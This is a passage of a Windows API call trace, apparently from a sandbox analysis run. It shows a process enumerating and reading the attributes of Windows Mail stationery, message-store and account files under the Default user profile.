	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1
	[0082.397] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0082.398] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.398] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), fInfoLevelId=0x0, lpFileInformation=0x123a9b38 | out: lpFileInformation=0x123a9b38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff)) returned 1
	[0082.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a9b88 | out: lpFileInformation=0x123a9b88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432)) returned 1
	[0082.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a9bd8 | out: lpFileInformation=0x123a9bd8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285)) returned 1
	[0082.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), fInfoLevelId=0x0, lpFileInformation=0x123a9c28 | out: lpFileInformation=0x123a9c28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7)) returned 1
	[0082.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a9c78 | out: lpFileInformation=0x123a9c78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f)) returned 1
	[0082.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), fInfoLevelId=0x0, lpFileInformation=0x123a9cc8 | out: lpFileInformation=0x123a9cc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0082.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a9d18 | out: lpFileInformation=0x123a9d18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906)) returned 1
	[0082.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), fInfoLevelId=0x0, lpFileInformation=0x123a9d68 | out: lpFileInformation=0x123a9d68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb)) returned 1
	[0082.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a9db8 | out: lpFileInformation=0x123a9db8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), fInfoLevelId=0x0, lpFileInformation=0x123a9e08 | out: lpFileInformation=0x123a9e08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a9e58 | out: lpFileInformation=0x123a9e58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), fInfoLevelId=0x0, lpFileInformation=0x123a9ea8 | out: lpFileInformation=0x123a9ea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a9ef8 | out: lpFileInformation=0x123a9ef8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), fInfoLevelId=0x0, lpFileInformation=0x123a9f48 | out: lpFileInformation=0x123a9f48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123a9f98 | out: lpFileInformation=0x123a9f98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1264e008 | out: lpFileInformation=0x1264e008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0082.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1264e058 | out: lpFileInformation=0x1264e058*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e)) returned 1
	[0082.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1264e0a8 | out: lpFileInformation=0x1264e0a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1
	[0082.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1264e0f8 | out: lpFileInformation=0x1264e0f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949)) returned 1
	[0082.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), fInfoLevelId=0x0, lpFileInformation=0x1264e148 | out: lpFileInformation=0x1264e148*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1
	[0082.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1264e198 | out: lpFileInformation=0x1264e198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51)) returned 1
	[0082.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), fInfoLevelId=0x0, lpFileInformation=0x1264e1e8 | out: lpFileInformation=0x1264e1e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7b05332, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x204000)) returned 1
	[0082.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), fInfoLevelId=0x0, lpFileInformation=0x1264e238 | out: lpFileInformation=0x1264e238*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0082.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), fInfoLevelId=0x0, lpFileInformation=0x1264e288 | out: lpFileInformation=0x1264e288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4)) returned 1
	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), fInfoLevelId=0x0, lpFileInformation=0x1264e2d8 | out: lpFileInformation=0x1264e2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0)) returned 1
	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), fInfoLevelId=0x0, lpFileInformation=0x1264e328 | out: lpFileInformation=0x1264e328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8)) returned 1
